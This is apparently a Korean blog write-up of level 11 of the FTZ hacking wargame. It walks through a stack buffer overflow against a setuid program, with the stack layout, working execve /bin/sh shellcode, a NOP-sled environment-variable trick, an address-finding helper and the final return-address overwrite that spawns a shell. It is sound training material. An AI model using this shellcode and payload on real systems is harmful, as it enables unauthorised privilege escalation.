FTZ level11

Posted by dw0rdptr
2015. 3. 17. 21:02 System/FTZ


-hint-

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h> 
int main( int argc, char *argv[] ){    
    
    char str[256];     
 
    setreuid( 30923092 );    
    strcpy( str, argv[1] );    
    printf( str );
cs



-gcc 2.96

(이 버전 이상의 gcc 컴파일러에서는 dummy값 추가)



높은주소        ↓방향으로 스택쌓임

----------

      ret            4byte

----------

      sfp            (saved frame pointer) 4byte

----------

   dummy1       buffer의 크기가 9byte 이상이면 8byte로 일정한 크기

----------

   dummy2      buffer의 시작주소와 dummy1의 시작주소 사이 거리가 16의배수가 되게 만든다.

----------    (거리는 256byte, 16의 배수이므로 dummy2의 크기는 0)

   str[256]        -buffer

----------

낮은주소



str에 버퍼 256byte 선언


dummy 8byte + sfp 4byte + ret의 시작주소까지 268byte



*참고


25byte 쉘코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80


2번째걸씀



export 명령어로 환경변수 shellcode 선언하고 25byte 쉘코드입력


export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`



* "\x90"=NOP sled(nop 썰매)

 NOP은 CPU가 아무일도 하지 않는다는 명령어이다

 환경변수에 바로 쉘코드를 올리면 프로그램에서 환경변수를 참조할때 

 항상 쉘코드의 시작주소에서 시작하지는 않기 때문에

 아무곳에서나 참조하더라도 NOP을 만나면 그대로 쉘코드를 만나 실행하게된다




-환경변수 주소를 찾는 소스


1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){    
 
    char *addr;    
    addr=getenv(argv[1]);    
 
    printf("The address of %s is %p\n",argv[1],addr);    
    return 0;
}
cs


gcc로 컴파일 한 뒤 실행한다


./get shellcode

The address of shellcode is 0xbffffc1e



환경변수 shellcode의 주소값이나온다



공격코드를 짜보면

./attackme `python -c 'print "A"*268 + "\x1e\xfc\xff\xbf"'`

                        (shellcode의 주소)


A로 str[256]+dummy[8]+sfp[4]=268byte를 모두 채운 후 ret자리에 shellcode의 주소를 넣게 된다


스크립트를 실행하면!


sh-2.05b$ 


성공


level12의 패스워드는


이 문제처럼 버퍼의 크기가 큰 경우 환경변수를 쓰지 않고 버퍼에 직접 쉘코드를 

입력하고 ret주소를 버퍼의 시작주소로 바꾸는 방법도 있다.



'System > FTZ' 카테고리의 다른 글

FTZ level13  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17
FTZ level8  (0) 2015.03.17